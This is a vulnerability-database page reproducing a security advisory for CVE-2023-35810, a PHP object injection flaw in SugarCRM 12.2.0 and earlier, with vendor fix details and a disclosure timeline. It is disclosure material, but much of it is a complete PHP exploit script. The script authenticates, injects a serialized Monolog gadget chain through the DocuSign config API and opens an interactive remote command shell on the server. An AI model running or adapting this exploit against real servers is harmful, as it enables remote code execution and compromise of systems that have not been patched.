Lucene search
K

SugarCRM 12.2.0 PHP Object Injection

🗓️ 23 Aug 2023 00:00:00Reported by EgiX, karmainsecurity.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 478 Views

SugarCRM <= 12.2.0 PHP Object Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SugarCRM 12.2.0 PHP Object Injection Vulnerability
24 Aug 202300:00
zdt
ATTACKERKB
CVE-2023-35810
17 Jun 202322:15
attackerkb
Circl
CVE-2023-35810
18 Jun 202302:24
circl
CNNVD
SugarCRM Enterprise 注入漏洞
17 Jun 202300:00
cnnvd
CVE
CVE-2023-35810
17 Jun 202300:00
cve
Cvelist
CVE-2023-35810
17 Jun 202300:00
cvelist
EUVD
EUVD-2023-39805
3 Oct 202520:07
euvd
NVD
CVE-2023-35810
17 Jun 202322:15
nvd
Prion
Input validation
17 Jun 202322:15
prion
Positive Technologies
PT-2023-25328 · Sugarcrm +1 · Sugarcrm Enterprise +1
17 Jun 202300:00
ptsecurity
Rows per page
`-------------------------------------------------------------------------------  
SugarCRM <= 12.2.0 (Docusign_GlobalSettings) PHP Object Injection   
Vulnerability  
-------------------------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://www.sugarcrm.com  
  
  
[-] Affected Versions:  
  
Version 12.2.0 and prior versions.  
Version 12.0.2 and prior versions.  
Version 11.0.5 and prior versions.  
  
  
[-] Vulnerability Description:  
  
There is a Second-Order PHP Object Injection vulnerability which might   
allow malicious  
admin users to execute arbitrary PHP code on the web server (RCE) by   
storing malicious  
serialized objects into the database.  
  
The vulnerability can be triggered by invoking the   
"/DocuSign/getGlobalConfig" REST API  
endpoint, which is using the unserialize() PHP function with the   
"Docusign_GlobalSettings"  
parameter. This can be exploited to inject arbitrary PHP objects into   
the application  
scope, allowing an attacker to perform a variety of attacks.  
  
  
[-] Proof of Concept:  
  
https://karmainsecurity.com/pocs/CVE-2023-35810.php  
  
[Packet Storm Note: see below]  
  
[-] Solution:  
  
Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.  
  
  
[-] Disclosure Timeline:  
  
[14/02/2023] - Vendor notified  
[12/04/2023] - Fixed versions released  
[17/06/2023] - CVE number assigned  
[23/08/2023] - Publication of this advisory  
  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2023-35810 to this vulnerability.  
  
  
[-] Credits:  
  
Vulnerability discovered by Egidio Romano.  
  
  
[-] Original Advisory:  
  
https://karmainsecurity.com/KIS-2023-07  
  
  
[-] Other References:  
  
https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-009/  
  
  
  
---- poc ----  
  
<?php  
  
set_time_limit(0);  
error_reporting(E_ERROR);  
  
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");  
  
if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");  
  
include("chain.php");  
  
function inject_pop_chain($cmd)  
{  
global $ch, $url;  
  
$pop = new \Monolog\Handler\BufferHandler(["current", "system"], [$cmd, "level" => null]);  
$pop = new \Monolog\Handler\SyslogUdpHandler($pop);  
$pop = base64_encode(serialize($pop));  
  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");  
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":"'.$pop.'"}');  
  
curl_exec($ch);  
}  
  
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];  
  
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";  
  
$ch = curl_init();  
  
$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];  
  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/oauth2/token");  
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
  
if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");  
  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);  
  
print "[+] Launching shell\n";  
  
while(1)  
{  
print "\nsugar-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
inject_pop_chain($cmd);  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/DocuSign/getGlobalConfig");  
curl_setopt($ch, CURLOPT_POST, false);  
preg_match("/(.+)/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");  
}  
  
// cleaning  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");  
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":""}');  
  
curl_exec($ch);  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Aug 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.2
EPSS0.01222
SSVC
478